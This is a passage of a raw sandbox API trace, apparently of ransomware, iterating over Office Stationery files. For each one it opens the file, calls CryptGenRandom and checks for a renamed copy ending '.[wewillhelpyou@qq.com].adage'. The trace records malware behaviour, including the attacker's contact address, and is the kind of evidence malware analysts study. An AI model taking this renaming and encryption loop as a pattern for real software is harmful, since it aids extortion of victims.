hTemplateFile=0x0) returned 0xffffffff [0055.573] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.573] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2209) returned 1 [0055.573] CloseHandle (hObject=0x18c) returned 1 [0055.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg")) returned 0x20 [0055.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.573] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.574] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4192) returned 1 [0055.574] CloseHandle (hObject=0x18c) returned 1 [0055.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf")) returned 0x20 [0055.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Month_Calendar.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\month_calendar.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.574] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.575] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=26036) returned 1 [0055.575] CloseHandle (hObject=0x18c) returned 1 [0055.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf")) returned 0x20 [0055.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.575] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.576] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=2950) returned 1 [0055.576] CloseHandle (hObject=0x18c) returned 1 [0055.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg")) returned 0x20 [0055.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Notebook.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\notebook.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.577] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.582] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=237) returned 1 [0055.582] CloseHandle (hObject=0x18c) returned 1 [0055.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0055.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.583] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.583] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=6381) returned 1 [0055.583] CloseHandle (hObject=0x18c) returned 1 [0055.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0055.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.583] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.584] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=232) returned 1 [0055.584] CloseHandle (hObject=0x18c) returned 1 [0055.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0055.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.584] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.585] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5115) returned 1 [0055.585] CloseHandle (hObject=0x18c) returned 1 [0055.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0055.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.585] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.586] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3981) returned 1 [0055.586] CloseHandle (hObject=0x18c) returned 1 [0055.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg")) returned 0x20 [0055.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pine_Lumber.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pine_lumber.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.586] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.586] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5115) returned 1 [0055.586] CloseHandle (hObject=0x18c) returned 1 [0055.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg")) returned 0x20 [0055.586] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Pretty_Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\pretty_peacock.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.587] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.587] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=14049) returned 1 [0055.587] CloseHandle (hObject=0x18c) returned 1 [0055.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg")) returned 0x20 [0055.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Psychedelic.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\psychedelic.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.588] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.589] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=233) returned 1 [0055.589] CloseHandle (hObject=0x18c) returned 1 [0055.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0055.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.589] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.589] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1920) returned 1 [0055.590] CloseHandle (hObject=0x18c) returned 1 [0055.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0055.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.591] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.591] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=15776) returned 1 [0055.591] CloseHandle (hObject=0x18c) returned 1 [0055.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg")) returned 0x20 [0055.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Sand_Paper.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\sand_paper.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.592] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.592] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=37316) returned 1 [0055.592] CloseHandle (hObject=0x18c) returned 1 [0055.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf")) returned 0x20 [0055.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Seyes.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\seyes.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.592] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.593] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=237) returned 1 [0055.593] CloseHandle (hObject=0x18c) returned 1 [0055.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0055.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.593] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.593] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.594] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4734) returned 1 [0055.594] CloseHandle (hObject=0x18c) returned 1 [0055.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0055.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.594] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0055.595] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Shorthand.emf" (normalized: "c:\\program files\\common files\\microsoft 